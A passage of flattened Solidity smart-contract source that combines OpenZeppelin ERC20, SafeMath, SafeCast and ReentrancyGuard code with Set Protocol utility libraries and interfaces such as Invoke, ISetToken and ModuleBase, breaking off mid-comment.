Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; /** * @title AddressArrayUtils * @author Set Protocol * * Utility functions to handle Address Arrays */ library AddressArrayUtils { /** * Finds the index of the first occurrence of the given element. * @param A The input array to search * @param a The value to find * @return Returns (index and isIn) for the first occurrence starting from index 0 */ function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) { uint256 length = A.length; for (uint256 i = 0; i < length; i++) { if (A[i] == a) { return (i, true); } } return (uint256(-1), false); } /** * Returns true if the value is present in the list. Uses indexOf internally. * @param A The input array to search * @param a The value to find * @return Returns isIn for the first occurrence starting from index 0 */ function contains(address[] memory A, address a) internal pure returns (bool) { (, bool isIn) = indexOf(A, a); return isIn; } /** * Returns true if there are 2 elements that are the same in an array * @param A The input array to search * @return Returns boolean for the first occurrence of a duplicate */ function hasDuplicate(address[] memory A) internal pure returns(bool) { require(A.length > 0, "A is empty"); for (uint256 i = 0; i < A.length - 1; i++) { address current = A[i]; for (uint256 j = i + 1; j < A.length; j++) { if (current == A[j]) { return true; } } } return false; } /** * @param A The input array to search * @param a The address to remove * @return Returns the array with the object removed. */ function remove(address[] memory A, address a) internal pure returns (address[] memory) { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("Address not in array."); } else { (address[] memory _A,) = pop(A, index); return _A; } } /** * @param A The input array to search * @param a The address to remove */ function removeStorage(address[] storage A, address a) internal { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("Address not in array."); } else { uint256 lastIndex = A.length - 1; // If the array would be empty, the previous line would throw, so no underflow here if (index != lastIndex) { A[index] = A[lastIndex]; } A.pop(); } } /** * Removes specified index from array * @param A The input array to search * @param index The index to remove * @return Returns the new array and the removed entry */ function pop(address[] memory A, uint256 index) internal pure returns (address[] memory, address) { uint256 length = A.length; require(index < A.length, "Index must be < A length"); address[] memory newAddresses = new address[](length - 1); for (uint256 i = 0; i < index; i++) { newAddresses[i] = A[i]; } for (uint256 j = index + 1; j < length; j++) { newAddresses[j - 1] = A[j]; } return (newAddresses, A[index]); } /** * Returns the combination of the two arrays * @param A The first array * @param B The second array * @return Returns A extended by B */ function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) { uint256 aLength = A.length; uint256 bLength = B.length; address[] memory newAddresses = new address[](aLength + bLength); for (uint256 i = 0; i < aLength; i++) { newAddresses[i] = A[i]; } for (uint256 j = 0; j < bLength; j++) { newAddresses[aLength + j] = B[j]; } return newAddresses; } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; interface IController { function addSet(address _setToken) external; function feeRecipient() external view returns(address); function getModuleFee(address _module, uint256 _feeType) external view returns(uint256); function isModule(address _module) external view returns(bool); function isSet(address _setToken) external view returns(bool); function isSystemContract(address _contractAddress) external view returns (bool); function resourceId(uint256 _id) external view returns(address); } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { ISetToken } from "../interfaces/ISetToken.sol"; interface ISetValuer { function calculateSetTokenValuation(ISetToken _setToken, address _quoteAsset) external view returns (uint256); } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { ISetToken } from "./ISetToken.sol"; interface INAVIssuanceHook { function invokePreIssueHook( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity, address _sender, address _to ) external; function invokePreRedeemHook( ISetToken _setToken, uint256 _redeemQuantity, address _sender, address _to ) external; } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { ISetToken } from "../../interfaces/ISetToken.sol"; /** * @title Invoke * @author Set Protocol * * A collection of common utility functions for interacting with the SetToken's invoke function */ library Invoke { using SafeMath for uint256; /* ============ Internal ============ */ /** * Instructs the SetToken to set approvals of the ERC20 token to a spender. * * @param _setToken SetToken instance to invoke * @param _token ERC20 token to approve * @param _spender The account allowed to spend the SetToken's balance * @param _quantity The quantity of allowance to allow */ function invokeApprove( ISetToken _setToken, address _token, address _spender, uint256 _quantity ) internal { bytes memory callData = abi.encodeWithSignature("approve(address,uint256)", _spender, _quantity); _setToken.invoke(_token, 0, callData); } /** * Instructs the SetToken to transfer the ERC20 token to a recipient. * * @param _setToken SetToken instance to invoke * @param _token ERC20 token to transfer * @param _to The recipient account * @param _quantity The quantity to transfer */ function invokeTransfer( ISetToken _setToken, address _token, address _to, uint256 _quantity ) internal { if (_quantity > 0) { bytes memory callData = abi.encodeWithSignature("transfer(address,uint256)", _to, _quantity); _setToken.invoke(_token, 0, callData); } } /** * Instructs the SetToken to transfer the ERC20 token to a recipient. * The new SetToken balance must equal the existing balance less the quantity transferred * * @param _setToken SetToken instance to invoke * @param _token ERC20 token to transfer * @param _to The recipient account * @param _quantity The quantity to transfer */ function strictInvokeTransfer( ISetToken _setToken, address _token, address _to, uint256 _quantity ) internal { if (_quantity > 0) { // Retrieve current balance of token for the SetToken uint256 existingBalance = IERC20(_token).balanceOf(address(_setToken)); Invoke.invokeTransfer(_setToken, _token, _to, _quantity); // Get new balance of transferred token for SetToken uint256 newBalance = IERC20(_token).balanceOf(address(_setToken)); // Verify only the transfer quantity is subtracted require( newBalance == existingBalance.sub(_quantity), "Invalid post transfer balance" ); } } /** * Instructs the SetToken to unwrap the passed quantity of WETH * * @param _setToken SetToken instance to invoke * @param _weth WETH address * @param _quantity The quantity to unwrap */ function invokeUnwrapWETH(ISetToken _setToken, address _weth, uint256 _quantity) internal { bytes memory callData = abi.encodeWithSignature("withdraw(uint256)", _quantity); _setToken.invoke(_weth, 0, callData); } /** * Instructs the SetToken to wrap the passed quantity of ETH * * @param _setToken SetToken instance to invoke * @param _weth WETH address * @param _quantity The quantity to unwrap */ function invokeWrapWETH(ISetToken _setToken, address _weth, uint256 _quantity) internal { bytes memory callData = abi.encodeWithSignature("deposit()"); _setToken.invoke(_weth, _quantity, callData); } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title ISetToken * @author Set Protocol * * Interface for operating with SetTokens. */ interface ISetToken is IERC20 { /* ============ Enums ============ */ enum ModuleState { NONE, PENDING, INITIALIZED } /* ============ Structs ============ */ /** * The base definition of a SetToken Position * * @param component Address of token in the Position * @param module If not in default state, the address of associated module * @param unit Each unit is the # of components per 10^18 of a SetToken * @param positionState Position ENUM. Default is 0; External is 1 * @param data Arbitrary data */ struct Position { address component; address module; int256 unit; uint8 positionState; bytes data; } /** * A struct that stores a component's cash position details and external positions * This data structure allows O(1) access to a component's cash position units and * virtual units. * * @param virtualUnit Virtual value of a component's DEFAULT position. Stored as virtual for efficiency * updating all units at once via the position multiplier. Virtual units are achieved * by dividing a "real" value by the "positionMultiplier" * @param componentIndex * @param externalPositionModules List of external modules attached to each external position. Each module * maps to an external position * @param externalPositions Mapping of module => ExternalPosition struct for a given component */ struct ComponentPosition { int256 virtualUnit; address[] externalPositionModules; mapping(address => ExternalPosition) externalPositions; } /** * A struct that stores a component's external position details including virtual unit and any * auxiliary data. * * @param virtualUnit Virtual value of a component's EXTERNAL position. * @param data Arbitrary data */ struct ExternalPosition { int256 virtualUnit; bytes data; } /* ============ Functions ============ */ function addComponent(address _component) external; function removeComponent(address _component) external; function editDefaultPositionUnit(address _component, int256 _realUnit) external; function addExternalPositionModule(address _component, address _positionModule) external; function removeExternalPositionModule(address _component, address _positionModule) external; function editExternalPositionUnit(address _component, address _positionModule, int256 _realUnit) external; function editExternalPositionData(address _component, address _positionModule, bytes calldata _data) external; function invoke(address _target, uint256 _value, bytes calldata _data) external returns(bytes memory); function editPositionMultiplier(int256 _newMultiplier) external; function mint(address _account, uint256 _quantity) external; function burn(address _account, uint256 _quantity) external; function lock() external; function unlock() external; function addModule(address _module) external; function removeModule(address _module) external; function initializeModule() external; function setManager(address _manager) external; function manager() external view returns (address); function moduleStates(address _module) external view returns (ModuleState); function getModules() external view returns (address[] memory); function getDefaultPositionRealUnit(address _component) external view returns(int256); function getExternalPositionRealUnit(address _component, address _positionModule) external view returns(int256); function getComponents() external view returns(address[] memory); function getExternalPositionModules(address _component) external view returns(address[] memory); function getExternalPositionData(address _component, address _positionModule) external view returns(bytes memory); function isExternalPositionModule(address _component, address _module) external view returns(bool); function isComponent(address _component) external view returns(bool); function positionMultiplier() external view returns (int256); function getPositions() external view returns (Position[] memory); function getTotalComponentRealUnits(address _component) external view returns(int256); function isInitializedModule(address _module) external view returns(bool); function isPendingModule(address _module) external view returns(bool); function isLocked() external view returns (bool); } /* Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title IWETH * @author Set Protocol * * Interface for Wrapped Ether. This interface allows for interaction for wrapped ether's deposit and withdrawal * functionality. */ interface IWETH is IERC20{ function deposit() external payable; function withdraw( uint256 wad ) external; } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { AddressArrayUtils } from "../../lib/AddressArrayUtils.sol"; import { ExplicitERC20 } from "../../lib/ExplicitERC20.sol"; import { IController } from "../../interfaces/IController.sol"; import { IModule } from "../../interfaces/IModule.sol"; import { ISetToken } from "../../interfaces/ISetToken.sol"; import { Invoke } from "./Invoke.sol"; import { Position } from "./Position.sol"; import { PreciseUnitMath } from "../../lib/PreciseUnitMath.sol"; import { ResourceIdentifier } from "./ResourceIdentifier.sol"; import { SafeCast } from "@openzeppelin/contracts/utils/SafeCast.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol"; /** * @title ModuleBase * @author Set Protocol * * Abstract class that houses common Module-related state and functions. */ abstract contract ModuleBase is IModule { using AddressArrayUtils for address[]; using Invoke for ISetToken; using Position for ISetToken; using PreciseUnitMath for uint256; using ResourceIdentifier for IController; using SafeCast for int256; using SafeCast for uint256; using SafeMath for uint256; using SignedSafeMath for int256; /* ============ State Variables ============ */ // Address of the controller IController public controller; /* ============ Modifiers ============ */ modifier onlyManagerAndValidSet(ISetToken _setToken) { require(isSetManager(_setToken, msg.sender), "Must be the SetToken manager"); require(isSetValidAndInitialized(_setToken), "Must be a valid and initialized SetToken"); _; } modifier onlySetManager(ISetToken _setToken, address _caller) { require(isSetManager(_setToken, _caller), "Must be the SetToken manager"); _; } modifier onlyValidAndInitializedSet(ISetToken _setToken) { require(isSetValidAndInitialized(_setToken), "Must be a valid and initialized SetToken"); _; } /** * Throws if the sender is not a SetToken's module or module not enabled */ modifier onlyModule(ISetToken _setToken) { require( _setToken.moduleStates(msg.sender) == ISetToken.ModuleState.INITIALIZED, "Only the module can call" ); require( controller.isModule(msg.sender), "Module must be enabled on controller" ); _; } /** * Utilized during module initializations to check that the module is in pending state * and that the SetToken is valid */ modifier onlyValidAndPendingSet(ISetToken _setToken) { require(controller.isSet(address(_setToken)), "Must be controller-enabled SetToken"); require(isSetPendingInitialization(_setToken), "Must be pending initialization"); _; } /* ============ Constructor ============ */ /** * Set state variables and map asset pairs to their oracles * * @param _controller Address of controller contract */ constructor(IController _controller) public { controller = _controller; } /* ============ Internal Functions ============ */ /** * Transfers tokens from an address (that has set allowance on the module). * * @param _token The address of the ERC20 token * @param _from The address to transfer from * @param _to The address to transfer to * @param _quantity The number of tokens to transfer */ function transferFrom(IERC20 _token, address _from, address _to, uint256 _quantity) internal { ExplicitERC20.transferFrom(_token, _from, _to, _quantity); } /** * Gets the integration for the module with the passed in name. Validates that the address is not empty */ function getAndValidateAdapter(string memory _integrationName) internal view returns(address) { bytes32 integrationHash = getNameHash(_integrationName); return getAndValidateAdapterWithHash(integrationHash); } /** * Gets the integration for the module with the 